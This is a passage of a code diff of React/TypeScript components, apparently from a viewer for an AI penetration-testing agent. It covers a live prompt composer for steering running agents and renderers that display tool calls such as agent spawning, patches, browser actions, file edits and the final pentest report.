import { track } from "@/lib/cta";
|
||||
import { cn } from "@/lib/utils";
|
||||
|
||||
const ROOT_TARGET_VALUE = "__root__";
|
||||
|
||||
interface ScanPromptComposerProps {
|
||||
/** All agents in the run; used to resolve the root and running children. */
|
||||
agents: TranscriptAgent[];
|
||||
/**
|
||||
* Single-agent (modal) mode: pins the composer to one agent and shows a
|
||||
* static "Target: <name>" pill instead of the dropdown. Omit for the
|
||||
* multi-agent graph variant.
|
||||
*/
|
||||
fixedAgentId?: string;
|
||||
className?: string;
|
||||
}
|
||||
|
||||
/**
|
||||
* Faithful port of the pro app's ScanPromptComposer for the local viewer.
|
||||
* Collapsed by default into a "Guide the agent" pill; expands into a card with
|
||||
* an auto-resizing textarea and a target control. The viewer's steering is
|
||||
* immediate (no Enterprise lock, no bridge-connecting state), so this is only
|
||||
* rendered by callers when steering is available. Sends via steerAgent, which
|
||||
* requires a concrete agent id, so "Root agent" resolves to the root agent's id.
|
||||
*/
|
||||
export function ScanPromptComposer({
|
||||
agents,
|
||||
fixedAgentId,
|
||||
className,
|
||||
}: ScanPromptComposerProps) {
|
||||
const textareaRef = useRef<HTMLTextAreaElement>(null);
|
||||
const [expanded, setExpanded] = useState(false);
|
||||
const [focused, setFocused] = useState(false);
|
||||
const [value, setValue] = useState("");
|
||||
const [sending, setSending] = useState(false);
|
||||
const [feedback, setFeedback] = useState<string | null>(null);
|
||||
|
||||
const isModal = fixedAgentId != null;
|
||||
|
||||
// Root = the agent with no parent; fall back to the first agent.
|
||||
const rootAgent = useMemo(
|
||||
() => agents.find((a) => !a.parent_id) ?? agents[0] ?? null,
|
||||
[agents]
|
||||
);
|
||||
|
||||
// Multi-agent dropdown options: running child agents plus Root (added in JSX).
|
||||
const targetOptions = useMemo(
|
||||
() => agents.filter((a) => a.parent_id && a.status === "running"),
|
||||
[agents]
|
||||
);
|
||||
|
||||
// Selected target for the multi-agent variant. ROOT sentinel by default.
|
||||
const [selectedTarget, setSelectedTarget] = useState<string>(ROOT_TARGET_VALUE);
|
||||
const [menuOpen, setMenuOpen] = useState(false);
|
||||
|
||||
// If the selected child target disappears (finished), fall back to Root.
|
||||
useEffect(() => {
|
||||
if (
|
||||
selectedTarget !== ROOT_TARGET_VALUE &&
|
||||
!targetOptions.some((a) => a.id === selectedTarget)
|
||||
) {
|
||||
setSelectedTarget(ROOT_TARGET_VALUE);
|
||||
}
|
||||
}, [selectedTarget, targetOptions]);
|
||||
|
||||
// Resolve the concrete agent id + display name for the current target.
|
||||
const { targetId, targetName } = useMemo(() => {
|
||||
if (isModal) {
|
||||
const agent = agents.find((a) => a.id === fixedAgentId) ?? null;
|
||||
return {
|
||||
targetId: fixedAgentId ?? null,
|
||||
targetName: agent?.name ?? "this agent",
|
||||
};
|
||||
}
|
||||
if (selectedTarget === ROOT_TARGET_VALUE) {
|
||||
return {
|
||||
targetId: rootAgent?.id ?? null,
|
||||
targetName: "Root agent",
|
||||
};
|
||||
}
|
||||
const agent = agents.find((a) => a.id === selectedTarget) ?? null;
|
||||
return {
|
||||
targetId: agent?.id ?? rootAgent?.id ?? null,
|
||||
targetName: agent?.name ?? "Root agent",
|
||||
};
|
||||
}, [agents, fixedAgentId, isModal, rootAgent, selectedTarget]);
|
||||
|
||||
const empty = value.trim().length === 0;
|
||||
|
||||
// Grow the textarea with its content, capped by max-h via CSS.
|
||||
useLayoutEffect(() => {
|
||||
const el = textareaRef.current;
|
||||
if (!el) return;
|
||||
el.style.height = "auto";
|
||||
el.style.height = `${el.scrollHeight}px`;
|
||||
}, [value]);
|
||||
|
||||
const handleExpand = useCallback(() => {
|
||||
setExpanded(true);
|
||||
requestAnimationFrame(() => textareaRef.current?.focus());
|
||||
}, []);
|
||||
|
||||
const handleCollapse = useCallback(() => {
|
||||
setExpanded(false);
|
||||
setFocused(false);
|
||||
setMenuOpen(false);
|
||||
}, []);
|
||||
|
||||
const handleSend = useCallback(async () => {
|
||||
if (sending) return;
|
||||
const message = value.trim();
|
||||
if (!message || !targetId) return;
|
||||
|
||||
setSending(true);
|
||||
setFeedback(null);
|
||||
const name = targetName;
|
||||
const res = await steerAgent(targetId, message);
|
||||
setSending(false);
|
||||
if (res.ok) {
|
||||
setValue("");
|
||||
setFeedback(`Sent to ${name}`);
|
||||
track("agent_steered");
|
||||
} else if (res.error === "not_delivered") {
|
||||
setFeedback("Could not reach that agent (it may have finished).");
|
||||
} else {
|
||||
setFeedback("Could not send that message. Try again.");
|
||||
}
|
||||
}, [sending, value, targetId, targetName]);
|
||||
|
||||
if (!expanded) {
|
||||
return (
|
||||
<button
|
||||
type="button"
|
||||
onClick={handleExpand}
|
||||
className={cn(
|
||||
"mt-4 flex w-full items-center justify-between gap-3 rounded-2xl border border-white/[0.08] bg-[#050505] px-5 py-3 text-left transition-colors duration-300 hover:border-white/[0.12] focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-white/20",
|
||||
className
|
||||
)}
|
||||
aria-expanded={false}
|
||||
aria-label="Expand live prompt composer"
|
||||
>
|
||||
<div className="flex min-w-0 items-center gap-2">
|
||||
<Sparkles className="h-4 w-4 shrink-0 text-[#666]" />
|
||||
<span className="truncate text-sm font-medium text-white">Guide the agent</span>
|
||||
</div>
|
||||
<ChevronUp className="h-4 w-4 shrink-0 text-[#777]" />
|
||||
</button>
|
||||
);
|
||||
}
|
||||
|
||||
return (
|
||||
<div
|
||||
className={cn(
|
||||
"mt-4 rounded-2xl border border-white/[0.08] bg-[#050505] overflow-hidden transition-colors duration-300",
|
||||
focused ? "border-white/[0.18]" : "hover:border-white/[0.12]",
|
||||
className
|
||||
)}
|
||||
>
|
||||
<div className="flex items-center justify-between gap-3 border-b border-white/[0.06] px-5 py-3">
|
||||
<div className="min-w-0">
|
||||
<div className="flex items-center gap-2">
|
||||
<Sparkles className="h-4 w-4 text-[#666]" />
|
||||
<p className="text-sm font-medium text-white">Live prompt</p>
|
||||
</div>
|
||||
<p className="mt-0.5 text-xs text-[#777]">Connected</p>
|
||||
</div>
|
||||
<div className="flex shrink-0 items-center gap-2">
|
||||
{isModal ? (
|
||||
<div className="rounded-full border border-white/[0.08] bg-white/[0.03] px-3 py-1 text-xs text-[#aaa]">
|
||||
Target: <span className="text-white">{targetName}</span>
|
||||
</div>
|
||||
) : (
|
||||
<div className="flex items-center gap-1.5">
|
||||
<span className="text-xs text-[#aaa]">Target:</span>
|
||||
<div className="relative">
|
||||
<button
|
||||
type="button"
|
||||
onClick={() => setMenuOpen((o) => !o)}
|
||||
onBlur={() => requestAnimationFrame(() => setMenuOpen(false))}
|
||||
className="inline-flex h-7 items-center gap-1 rounded-full border border-white/[0.08] bg-white/[0.03] px-3 text-xs text-white transition-colors hover:border-white/[0.16] focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-white/20"
|
||||
aria-haspopup="listbox"
|
||||
aria-expanded={menuOpen}
|
||||
>
|
||||
<span className="max-w-[140px] truncate">{targetName}</span>
|
||||
<ChevronDown className="h-3.5 w-3.5 text-[#999]" />
|
||||
</button>
|
||||
{menuOpen && (
|
||||
<div
|
||||
className="absolute right-0 z-10 mt-1 min-w-[160px] overflow-hidden rounded-lg border border-[#333] bg-[#0a0a0a] py-1 shadow-xl"
|
||||
role="listbox"
|
||||
>
|
||||
<TargetMenuItem
|
||||
label="Root agent"
|
||||
active={selectedTarget === ROOT_TARGET_VALUE}
|
||||
onSelect={() => {
|
||||
setSelectedTarget(ROOT_TARGET_VALUE);
|
||||
setMenuOpen(false);
|
||||
}}
|
||||
/>
|
||||
{targetOptions.map((option) => (
|
||||
<TargetMenuItem
|
||||
key={option.id}
|
||||
label={option.name}
|
||||
active={selectedTarget === option.id}
|
||||
onSelect={() => {
|
||||
setSelectedTarget(option.id);
|
||||
setMenuOpen(false);
|
||||
}}
|
||||
/>
|
||||
))}
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
</div>
|
||||
)}
|
||||
<button
|
||||
type="button"
|
||||
onClick={handleCollapse}
|
||||
className="inline-flex h-7 w-7 items-center justify-center rounded-full text-[#777] transition-colors hover:bg-white/[0.06] hover:text-white focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-white/20"
|
||||
aria-label="Collapse live prompt composer"
|
||||
>
|
||||
<ChevronDown className="h-4 w-4" />
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div className="px-5 pt-4 pb-3">
|
||||
<textarea
|
||||
ref={textareaRef}
|
||||
rows={1}
|
||||
value={value}
|
||||
onChange={(e) => setValue(e.target.value)}
|
||||
onFocus={() => setFocused(true)}
|
||||
onBlur={() => setFocused(false)}
|
||||
onKeyDown={(e) => {
|
||||
if (e.key === "Enter" && !e.shiftKey) {
|
||||
e.preventDefault();
|
||||
void handleSend();
|
||||
}
|
||||
}}
|
||||
placeholder="Send a live prompt to the running pentest…"
|
||||
maxLength={4000}
|
||||
disabled={sending}
|
||||
className="block w-full resize-none border-0 bg-transparent p-0 text-[15px] leading-6 text-white placeholder:text-[#444] focus:outline-none disabled:opacity-60 max-h-[160px] overflow-y-auto"
|
||||
/>
|
||||
</div>
|
||||
|
||||
<div className="flex items-center justify-between gap-3 px-4 pb-4">
|
||||
<div className="text-xs text-[#666]">{feedback ?? "Press Enter to send."}</div>
|
||||
<button
|
||||
type="button"
|
||||
onClick={(event) => {
|
||||
event.stopPropagation();
|
||||
void handleSend();
|
||||
}}
|
||||
disabled={sending || empty}
|
||||
className={cn(
|
||||
"inline-flex h-10 min-w-[112px] items-center justify-center gap-2 rounded-full px-4 text-sm font-medium transition-colors",
|
||||
sending || empty
|
||||
? "bg-white/[0.08] text-[#666]"
|
||||
: "bg-white text-black hover:bg-neutral-200"
|
||||
)}
|
||||
>
|
||||
{sending ? (
|
||||
<Loader2 className="h-4 w-4 animate-spin" />
|
||||
) : (
|
||||
<ArrowUp className="h-4 w-4" strokeWidth={2.5} />
|
||||
)}
|
||||
<span>Send prompt</span>
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
function TargetMenuItem({
|
||||
label,
|
||||
active,
|
||||
onSelect,
|
||||
}: {
|
||||
label: string;
|
||||
active: boolean;
|
||||
onSelect: () => void;
|
||||
}) {
|
||||
return (
|
||||
<button
|
||||
type="button"
|
||||
role="option"
|
||||
aria-selected={active}
|
||||
// onMouseDown so the click lands before the trigger's onBlur closes the menu.
|
||||
onMouseDown={(e) => {
|
||||
e.preventDefault();
|
||||
onSelect();
|
||||
}}
|
||||
className={cn(
|
||||
"block w-full truncate px-3 py-1.5 text-left text-xs transition-colors hover:bg-white/[0.06]",
|
||||
active ? "text-white" : "text-[#aaa]"
|
||||
)}
|
||||
>
|
||||
{label}
|
||||
</button>
|
||||
);
|
||||
}
|
||||
|
||||
export default ScanPromptComposer;
|
||||
@@ -1,92 +0,0 @@
|
||||
"use client";
|
||||
|
||||
import type { ToolRendererProps } from "@/types/events";
|
||||
import { TruncatedText } from "./ToolCard";
|
||||
|
||||
export default function AgentCommsRenderer({ toolName, args }: ToolRendererProps) {
|
||||
if (toolName === "create_agent") {
|
||||
const name = (args.name as string) ?? (args.agent_name as string) ?? "";
|
||||
const task = (args.task as string) ?? "";
|
||||
return (
|
||||
<div>
|
||||
<div className="flex items-center gap-2">
|
||||
<span className="text-cyan-400/80 font-semibold text-sm">spawning</span>
|
||||
{name && <span className="text-cyan-400 font-semibold text-sm">{name}</span>}
|
||||
</div>
|
||||
{task && <div className="mt-1.5"><TruncatedText text={task} maxLines={15} /></div>}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
if (toolName === "agent_finish") {
|
||||
const summary = (args.result_summary as string) ?? "";
|
||||
const success = args.success as boolean | undefined;
|
||||
const rawFindings = args.findings;
|
||||
const findings = Array.isArray(rawFindings) ? rawFindings as string[] : undefined;
|
||||
return (
|
||||
<div>
|
||||
<span className={`font-semibold text-sm ${success === false ? "text-red-400/80" : "text-emerald-400/80"}`}>
|
||||
{success === false ? "Agent failed" : "Agent completed"}
|
||||
</span>
|
||||
{summary && <div className="mt-1.5"><TruncatedText text={summary} maxLines={20} /></div>}
|
||||
{findings && findings.length > 0 && (
|
||||
<div className="mt-1.5 space-y-0.5">
|
||||
{findings.map((f, i) => (
|
||||
<div key={i} className="text-[13px] text-[#888]"><span className="text-red-400/50 mr-1">•</span>{typeof f === "string" ? f : JSON.stringify(f)}</div>
|
||||
))}
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
if (toolName === "send_message_to_agent") {
|
||||
const message = (args.message as string) ?? "";
|
||||
const agentId = (args.target_agent_id as string) ?? (args.agent_id as string) ?? "";
|
||||
return (
|
||||
<div>
|
||||
<div className="flex items-center gap-2">
|
||||
<span className="text-cyan-400/80 font-semibold text-sm">message</span>
|
||||
{agentId && <span className="text-[#888] text-[13px]">to {agentId.slice(0, 16)}</span>}
|
||||
</div>
|
||||
{message && <div className="mt-1.5"><TruncatedText text={message} maxLines={20} /></div>}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
if (toolName === "wait_for_message") {
|
||||
const reason = (args.reason as string) ?? "";
|
||||
return (
|
||||
<div className="flex items-center gap-2">
|
||||
<span className="text-cyan-400/80 font-semibold text-sm">waiting</span>
|
||||
{reason && <span className="text-[#888] text-[13px] truncate">{reason}</span>}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
if (toolName === "stop_agent") {
|
||||
const targetAgentId = (args.target_agent_id as string) ?? "";
|
||||
const cascade = args.cascade !== false;
|
||||
const reason = (args.reason as string) ?? "";
|
||||
return (
|
||||
<div>
|
||||
<div className="flex items-center gap-2 flex-wrap">
|
||||
<span className="text-red-400/80 font-semibold text-sm">stopping</span>
|
||||
{targetAgentId && <span className="text-[#888] text-[13px]">{targetAgentId.slice(0, 16)}</span>}
|
||||
{cascade && <span className="text-[#555] text-[13px] italic">+ descendants</span>}
|
||||
</div>
|
||||
{reason && <div className="mt-1.5 text-[#888] text-[13px]">{reason}</div>}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
if (toolName === "view_agent_graph") {
|
||||
return (
|
||||
<span className="text-cyan-400/80 font-semibold text-sm">viewing agents graph</span>
|
||||
);
|
||||
}
|
||||
|
||||
return (
|
||||
<span className="text-cyan-400/80 font-semibold text-sm">{toolName.replace(/_/g, " ")}</span>
|
||||
);
|
||||
}
|
||||
@@ -1,124 +0,0 @@
|
||||
"use client";
|
||||
|
||||
import type { ToolRendererProps } from "@/types/events";
|
||||
import { shortPath } from "./utils";
|
||||
|
||||
const DIFF_PREVIEW_LINES = 30;
|
||||
|
||||
const BEGIN_PATCH = "*** Begin Patch";
|
||||
const END_PATCH = "*** End Patch";
|
||||
const ADD_FILE = "*** Add File: ";
|
||||
const UPDATE_FILE = "*** Update File: ";
|
||||
const DELETE_FILE = "*** Delete File: ";
|
||||
|
||||
const OP_LABEL: Record<string, string> = { add: "create", update: "edit", delete: "delete" };
|
||||
|
||||
interface PatchOp {
|
||||
kind: "add" | "update" | "delete";
|
||||
path: string;
|
||||
oldLines: string[];
|
||||
newLines: string[];
|
||||
}
|
||||
|
||||
/** apply_patch args arrive as {patch: text} (chat-completions FunctionTool) or
|
||||
* {input: text} (CustomTool). Mirrors the OSS `_extract_patch_text`. */
|
||||
function extractPatchText(args: Record<string, unknown>): string {
|
||||
const raw = args.patch;
|
||||
if (typeof raw === "string") return raw;
|
||||
if (raw && typeof raw === "object" && typeof (raw as Record<string, unknown>).patch === "string") {
|
||||
return (raw as Record<string, string>).patch;
|
||||
}
|
||||
return typeof args.input === "string" ? args.input : "";
|
||||
}
|
||||
|
||||
/** Parse V4A patch text into per-file operations (mirrors `_parse_patch_operations`). */
|
||||
function parsePatchOperations(patchText: string): PatchOp[] {
|
||||
const ops: PatchOp[] = [];
|
||||
let current: PatchOp | null = null;
|
||||
|
||||
const flush = () => {
|
||||
if (current) ops.push(current);
|
||||
current = null;
|
||||
};
|
||||
|
||||
for (const line of patchText.split("\n")) {
|
||||
if (line === BEGIN_PATCH || line === END_PATCH) continue;
|
||||
if (line.startsWith(ADD_FILE)) {
|
||||
flush();
|
||||
current = { kind: "add", path: line.slice(ADD_FILE.length).trim(), oldLines: [], newLines: [] };
|
||||
} else if (line.startsWith(UPDATE_FILE)) {
|
||||
flush();
|
||||
current = { kind: "update", path: line.slice(UPDATE_FILE.length).trim(), oldLines: [], newLines: [] };
|
||||
} else if (line.startsWith(DELETE_FILE)) {
|
||||
flush();
|
||||
current = { kind: "delete", path: line.slice(DELETE_FILE.length).trim(), oldLines: [], newLines: [] };
|
||||
} else if (current?.kind === "update") {
|
||||
if (line.startsWith("@@")) continue;
|
||||
if (line.startsWith("-") && !line.startsWith("---")) current.oldLines.push(line.slice(1));
|
||||
else if (line.startsWith("+") && !line.startsWith("+++")) current.newLines.push(line.slice(1));
|
||||
} else if (current?.kind === "add") {
|
||||
if (line.startsWith("+")) current.newLines.push(line.slice(1));
|
||||
else if (line.trim()) current.newLines.push(line);
|
||||
}
|
||||
}
|
||||
flush();
|
||||
return ops;
|
||||
}
|
||||
|
||||
function Operation({ op }: { op: PatchOp }) {
|
||||
const label = OP_LABEL[op.kind] ?? "file";
|
||||
const total = op.oldLines.length + op.newLines.length;
|
||||
const truncated = total > DIFF_PREVIEW_LINES;
|
||||
const oldBudget = truncated && total > 0 ? Math.round(DIFF_PREVIEW_LINES * (op.oldLines.length / total)) : op.oldLines.length;
|
||||
const newBudget = truncated ? DIFF_PREVIEW_LINES - oldBudget : op.newLines.length;
|
||||
|
||||
return (
|
||||
<div>
|
||||
<div className="flex items-baseline gap-2">
|
||||
<span className="text-sky-400/80 font-semibold text-sm shrink-0">{label}</span>
|
||||
{op.path && <span className="text-[#888] font-mono text-[13px] break-all">{shortPath(op.path)}</span>}
|
||||
</div>
|
||||
{(op.oldLines.length > 0 || op.newLines.length > 0) && (
|
||||
<div className="font-mono text-[13px] leading-relaxed mt-1.5">
|
||||
{op.oldLines.slice(0, oldBudget).map((line, i) => (
|
||||
<div key={`o${i}`} className="text-red-400/60">
|
||||
<span className="select-none text-red-400/30 mr-1">-</span>{line}
|
||||
</div>
|
||||
))}
|
||||
{op.newLines.slice(0, newBudget).map((line, i) => (
|
||||
<div key={`n${i}`} className="text-emerald-400/60">
|
||||
<span className="select-none text-emerald-400/30 mr-1">+</span>{line}
|
||||
</div>
|
||||
))}
|
||||
{truncated && <div className="text-[#444] mt-0.5">... {total - DIFF_PREVIEW_LINES} more lines</div>}
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
export default function ApplyPatchRenderer({ args, result, status }: ToolRendererProps) {
|
||||
const ops = parsePatchOperations(extractPatchText(args));
|
||||
|
||||
if (ops.length === 0) {
|
||||
return (
|
||||
<div>
|
||||
<span className="text-sky-400/80 font-semibold text-sm">patch</span>
|
||||
{status === "failed" && typeof result === "string" && result.trim() && (
|
||||
<div className="text-red-400/70 text-[13px] mt-1">{result.trim()}</div>
|
||||
)}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
return (
|
||||
<div className="space-y-2">
|
||||
{ops.map((op, i) => (
|
||||
<Operation key={i} op={op} />
|
||||
))}
|
||||
{status === "failed" && typeof result === "string" && result.trim() && (
|
||||
<div className="text-red-400/70 text-[13px]">{result.trim()}</div>
|
||||
)}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
@@ -1,110 +0,0 @@
|
||||
"use client";
|
||||
|
||||
import type { ToolRendererProps } from "@/types/events";
|
||||
import { SyntaxBlock } from "./ToolCard";
|
||||
|
||||
const SIMPLE_ACTIONS: Record<string, string> = {
|
||||
back: "going back in browser history",
|
||||
forward: "going forward in browser history",
|
||||
scroll_down: "scrolling down",
|
||||
scroll_up: "scrolling up",
|
||||
refresh: "refreshing",
|
||||
close_tab: "closing tab",
|
||||
switch_tab: "switching tab",
|
||||
list_tabs: "listing tabs",
|
||||
view_source: "viewing page source",
|
||||
get_console_logs: "getting console logs",
|
||||
screenshot: "taking screenshot",
|
||||
wait: "waiting...",
|
||||
close: "closing",
|
||||
};
|
||||
|
||||
const CLICK_ACTIONS: Record<string, string> = {
|
||||
click: "clicking",
|
||||
double_click: "double clicking",
|
||||
hover: "hovering",
|
||||
};
|
||||
|
||||
function UrlLabel({ prefix, url, suffix }: { prefix: string; url?: string; suffix?: string }) {
|
||||
return (
|
||||
<span className="text-[#888] text-[13px]">
|
||||
{prefix}
|
||||
{url && (
|
||||
<a
|
||||
href={url}
|
||||
target="_blank"
|
||||
rel="noopener noreferrer"
|
||||
className="text-cyan-400/80 hover:underline"
|
||||
>
|
||||
{url}
|
||||
</a>
|
||||
)}
|
||||
{suffix}
|
||||
</span>
|
||||
);
|
||||
}
|
||||
|
||||
function describeAction(args: Record<string, unknown>): React.ReactNode {
|
||||
const action = (args.action as string) ?? "";
|
||||
const url = (args.url as string) ?? undefined;
|
||||
|
||||
// Simple actions (no extra args)
|
||||
if (action in SIMPLE_ACTIONS) return SIMPLE_ACTIONS[action];
|
||||
|
||||
// URL actions: launch, goto, new_tab
|
||||
if (action === "launch") {
|
||||
if (!url) return "launching";
|
||||
return <UrlLabel prefix="launching " url={url} />;
|
||||
}
|
||||
if (action === "goto" || action === "navigate") {
|
||||
return <UrlLabel prefix="navigating to " url={url} />;
|
||||
}
|
||||
if (action === "new_tab") {
|
||||
return <UrlLabel prefix="opening tab " url={url} />;
|
||||
}
|
||||
|
||||
// Click actions
|
||||
if (action in CLICK_ACTIONS) return CLICK_ACTIONS[action];
|
||||
|
||||
// Type
|
||||
if (action === "type") {
|
||||
const text = ((args.text as string) ?? "").slice(0, 40);
|
||||
return `typing "${text}"`;
|
||||
}
|
||||
|
||||
// Key press
|
||||
if (action === "press_key" || action === "key_press") {
|
||||
return `pressing key ${(args.key as string) ?? ""}`;
|
||||
}
|
||||
|
||||
// Save PDF
|
||||
if (action === "save_pdf" || action === "save_as_pdf") {
|
||||
const path = (args.file_path as string) ?? "";
|
||||
return `saving PDF${path ? ` to ${path}` : ""}`;
|
||||
}
|
||||
|
||||
// Execute JS — description only, code shown separately
|
||||
if (action === "execute_js") return "executing javascript";
|
||||
|
||||
return action || "browser action";
|
||||
}
|
||||
|
||||
export default function BrowserRenderer({ args }: ToolRendererProps) {
|
||||
const action = (args.action as string) ?? "";
|
||||
const jsCode = action === "execute_js"
|
||||
? ((args.js_code as string) ?? (args.code as string) ?? "")
|
||||
: "";
|
||||
const description = describeAction(args);
|
||||
|
||||
return (
|
||||
<div>
|
||||
<div className="flex items-center gap-2 min-w-0">
|
||||
<span className="text-blue-400/80 font-semibold text-sm shrink-0">Browser</span>
|
||||
<span className="min-w-0 truncate text-[#888] text-[13px]">
|
||||
{typeof description === "string" ? description : description}
|
||||
</span>
|
||||
</div>
|
||||
{jsCode && <SyntaxBlock code={jsCode} language="javascript" collapsible />}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
@@ -1,25 +0,0 @@
|
||||
"use client";
|
||||
|
||||
import { TruncatedText } from "./ToolCard";
|
||||
|
||||
interface ChatBubbleProps {
|
||||
role: string;
|
||||
content: string;
|
||||
}
|
||||
|
||||
const MAX_LINES = 30;
|
||||
|
||||
export default function ChatBubble({ role, content }: ChatBubbleProps) {
|
||||
const isUser = role === "user" || role === "human";
|
||||
|
||||
return (
|
||||
<div>
|
||||
<span className={`font-semibold text-sm ${isUser ? "text-blue-400/80" : "text-purple-400/80"}`}>
|
||||
{isUser ? "User" : "Thinking"}
|
||||
</span>
|
||||
<div className="mt-1.5 italic text-[#888]">
|
||||
<TruncatedText text={content} maxLines={MAX_LINES} />
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
@@ -1,36 +0,0 @@
|
||||
import type { ToolRendererProps } from "@/types/events";
|
||||
import { CodeBlock } from "./ToolCard";
|
||||
|
||||
/**
|
||||
* Generic renderer for tool names without a dedicated family renderer. Shows the
|
||||
* humanized tool name plus a pretty-printed dump of args/result. Tolerates the
|
||||
* server sending args/result as either a parsed object or an unparseable
|
||||
* Python-repr string (which arrives here wrapped as { __raw }); never crashes.
|
||||
*/
|
||||
function pretty(value: unknown): string | null {
|
||||
if (value == null) return null;
|
||||
if (typeof value === "string") return value.trim() ? value : null;
|
||||
if (typeof value === "object") {
|
||||
const rec = value as Record<string, unknown>;
|
||||
if (typeof rec.__raw === "string") return rec.__raw;
|
||||
if (Object.keys(rec).length === 0) return null;
|
||||
try {
|
||||
return JSON.stringify(value, null, 2);
|
||||
} catch {
|
||||
return String(value);
|
||||
}
|
||||
}
|
||||
return String(value);
|
||||
}
|
||||
|
||||
export default function FallbackRenderer({ toolName, args, result }: ToolRendererProps) {
|
||||
const argsText = pretty(args);
|
||||
const resultText = pretty(result);
|
||||
return (
|
||||
<div>
|
||||
<span className="text-[#888] font-semibold text-sm">{toolName.replace(/_/g, " ")}</span>
|
||||
{argsText && <CodeBlock className="text-[#777]">{argsText}</CodeBlock>}
|
||||
{resultText && <CodeBlock className="text-[#666]">{resultText}</CodeBlock>}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
@@ -1,65 +0,0 @@
|
||||
"use client";
|
||||
|
||||
import type { ToolRendererProps } from "@/types/events";
|
||||
import { shortPath } from "./utils";
|
||||
|
||||
const DIFF_PREVIEW_LINES = 30;
|
||||
|
||||
export default function FileEditRenderer({ toolName, args }: ToolRendererProps) {
|
||||
const filePath = (args.path as string) ?? (args.file_path as string) ?? "";
|
||||
const command = (args.command as string) ?? "";
|
||||
const oldStr = (args.old_str as string) ?? "";
|
||||
const newStr = (args.new_str as string) ?? "";
|
||||
const regex = (args.regex as string) ?? "";
|
||||
|
||||
let label: string;
|
||||
if (toolName === "list_files") label = "list";
|
||||
else if (toolName === "search_files") label = "search";
|
||||
else if (command === "view") label = "view";
|
||||
else if (command === "create") label = "create";
|
||||
else if (command === "str_replace") label = "edit";
|
||||
else if (command === "undo_edit") label = "undo";
|
||||
else if (command === "insert") label = "insert";
|
||||
else label = "file";
|
||||
|
||||
const pathDisplay = filePath ? shortPath(filePath) : "";
|
||||
const regexDisplay = regex ? ` /${regex}/` : "";
|
||||
|
||||
const oldLines = oldStr ? oldStr.split("\n") : [];
|
||||
const newLines = newStr ? newStr.split("\n") : [];
|
||||
const totalLines = oldLines.length + newLines.length;
|
||||
const truncated = totalLines > DIFF_PREVIEW_LINES;
|
||||
|
||||
// If truncated, split the budget proportionally
|
||||
const oldBudget = truncated ? Math.round(DIFF_PREVIEW_LINES * (oldLines.length / totalLines)) : oldLines.length;
|
||||
const newBudget = truncated ? DIFF_PREVIEW_LINES - oldBudget : newLines.length;
|
||||
|
||||
return (
|
||||
<div>
|
||||
<div className="flex items-baseline gap-2">
|
||||
<span className="text-sky-400/80 font-semibold text-sm shrink-0">{label}</span>
|
||||
{pathDisplay && <span className="text-[#888] font-mono text-[13px] break-all">{pathDisplay}</span>}
|
||||
</div>
|
||||
{regexDisplay && (
|
||||
<div className="text-purple-400/60 font-mono text-[13px] break-all mt-0.5">{regexDisplay}</div>
|
||||
)}
|
||||
{(oldStr || newStr) && (
|
||||
<div className="font-mono text-[13px] leading-relaxed mt-1.5">
|
||||
{oldLines.slice(0, oldBudget).map((line, i) => (
|
||||
<div key={`o${i}`} className="text-red-400/60">
|
||||
<span className="select-none text-red-400/30 mr-1">-</span>{line}
|
||||
</div>
|
||||
))}
|
||||
{newLines.slice(0, newBudget).map((line, i) => (
|
||||
<div key={`n${i}`} className="text-emerald-400/60">
|
||||
<span className="select-none text-emerald-400/30 mr-1">+</span>{line}
|
||||
</div>
|
||||
))}
|
||||
{truncated && (
|
||||
<div className="text-[#444] mt-0.5">... {totalLines - DIFF_PREVIEW_LINES} more lines</div>
|
||||
)}
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
@@ -1,32 +0,0 @@
|
||||
"use client";
|
||||
|
||||
import type { ToolRendererProps } from "@/types/events";
|
||||
import { TruncatedText } from "./ToolCard";
|
||||
|
||||
export default function FinishRenderer({ args }: ToolRendererProps) {
|
||||
const executiveSummary = (args.executive_summary as string) ?? "";
|
||||
const methodology = (args.methodology as string) ?? "";
|
||||
const technicalAnalysis = (args.technical_analysis as string) ?? "";
|
||||
const recommendations = (args.recommendations as string) ?? "";
|
||||
|
||||
return (
|
||||
<div className="space-y-3">
|
||||
<span className="text-emerald-400/80 font-semibold text-sm">Penetration test completed</span>
|
||||
{executiveSummary && (
|
||||
<div><span className="text-emerald-400/60 text-sm font-semibold">Executive Summary</span><div className="mt-1"><TruncatedText text={executiveSummary} maxLines={25} /></div></div>
|
||||
)}
|
||||
{methodology && (
|
||||
<div><span className="text-emerald-400/60 text-sm font-semibold">Methodology</span><div className="mt-1"><TruncatedText text={methodology} maxLines={25} /></div></div>
|
||||
)}
|
||||
{technicalAnalysis && (
|
||||
<div><span className="text-emerald-400/60 text-sm font-semibold">Technical Analysis</span><div className="mt-1"><TruncatedText text={technicalAnalysis} maxLines={25} /></div></div>
|
||||
)}
|
||||
{recommendations && (
|
||||
<div><span className="text-emerald-400/60 text-sm font-semibold">Recommendations</span><div className="mt-1"><TruncatedText text={recommendations} maxLines={25} /></div></div>
|
||||
)}
|
||||
{!executiveSummary && !methodology && !technicalAnalysis && !recommendations && (
|
||||
<div className="text-[#555] text-xs">Generating final report...</div>
|
||||
)}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
@@ -1,21 +0,0 @@
|
||||
"use client";
|
||||
|
||||
import type { ToolRendererProps } from "@/types/events";
|
||||
|
||||
export default function LoadSkillRenderer({ args }: ToolRendererProps) {
|
||||
// `skills` may arrive as an array of names or a comma-separated string
|
||||
